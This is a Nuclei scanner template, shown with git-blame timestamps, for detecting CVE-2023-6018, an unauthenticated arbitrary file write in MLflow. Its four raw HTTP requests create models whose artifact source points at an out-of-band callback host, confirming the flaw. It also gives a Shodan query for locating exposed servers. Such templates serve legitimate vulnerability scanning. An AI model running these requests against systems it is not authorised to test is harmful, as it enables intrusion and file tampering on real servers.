2023-12-05 16:13:27 +00:00
|
|
|
id: CVE-2023-6018
|
2023-12-05 09:43:06 +00:00
|
|
|
|
|
|
|
info:
|
2023-12-05 16:17:04 +00:00
|
|
|
name: Mlflow - Arbitrary File Write
|
2023-12-05 16:13:27 +00:00
|
|
|
author: byt3bl33d3r
|
2023-12-05 09:43:06 +00:00
|
|
|
severity: critical
|
2023-12-05 16:13:27 +00:00
|
|
|
description: |
|
|
|
|
An attacker can overwrite any file on the server hosting MLflow without any authentication.
|
2023-12-05 09:43:06 +00:00
|
|
|
reference:
|
|
|
|
- https://huntr.com/bounties/7cf918b5-43f4-48c0-a371-4d963ce69b30/
|
2023-12-05 16:13:27 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-6018
|
2023-12-05 09:43:06 +00:00
|
|
|
classification:
|
2023-12-05 16:13:27 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2023-12-05 09:43:06 +00:00
|
|
|
cve-id: CVE-2023-6018
|
2023-12-05 16:13:27 +00:00
|
|
|
cwe-id: CWE-78
|
2024-03-23 09:28:19 +00:00
|
|
|
epss-score: 0.86232
|
2024-04-08 11:34:33 +00:00
|
|
|
epss-percentile: 0.98502
|
2023-12-05 16:13:27 +00:00
|
|
|
cpe: cpe:2.3:a:lfprojects:mlflow:-:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
2023-12-05 16:17:04 +00:00
|
|
|
verified: true
|
2023-12-12 11:07:52 +00:00
|
|
|
max-request: 4
|
|
|
|
vendor: lfprojects
|
|
|
|
product: mlflow
|
2023-12-05 16:13:27 +00:00
|
|
|
shodan-query: http.title:"mlflow"
|
2024-04-08 11:34:33 +00:00
|
|
|
tags: cve,cve2023,mlflow,oss,rce,intrusive
|
2023-12-05 09:43:06 +00:00
|
|
|
variables:
|
|
|
|
model_name: "{{rand_text_alpha(6)}}"
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{"name": "{{model_name}}"}
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{"name": "{{model_name}}", "source": "http://{{interactsh-url}}/api/2.0/mlflow-artifacts/artifacts/"}
|
|
|
|
|
|
|
|
- |
|
|
|
|
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{"name": "{{model_name}}", "source": "models:/{{model_name}}/1"}
|
|
|
|
|
|
|
|
- |
|
|
|
|
GET /model-versions/get-artifact?path=random&name={{model_name}}&version=2 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2023-12-05 16:13:27 +00:00
|
|
|
matchers-condition: and
|
2023-12-05 09:43:06 +00:00
|
|
|
matchers:
|
2023-12-05 16:17:04 +00:00
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol
|
|
|
|
words:
|
|
|
|
- "http"
|
|
|
|
|
2023-12-05 09:43:06 +00:00
|
|
|
- type: word
|
2023-12-05 16:13:27 +00:00
|
|
|
part: body_1
|
|
|
|
words:
|
|
|
|
- '"registered_model":'
|
|
|
|
- '"name":'
|
|
|
|
condition: and
|
2024-03-25 11:57:16 +00:00
|
|
|
# digest: 490a00463044022052f02e7aa3838fce1739f32e8a1da643d5788b48a35c72d756224d83d73c79000220410b9ebbb1498060027b19a08cd6f423607efad2d28b3c23a5d7b2acbf2e8bea:922c64590222798bb761d5b6d8e72950
|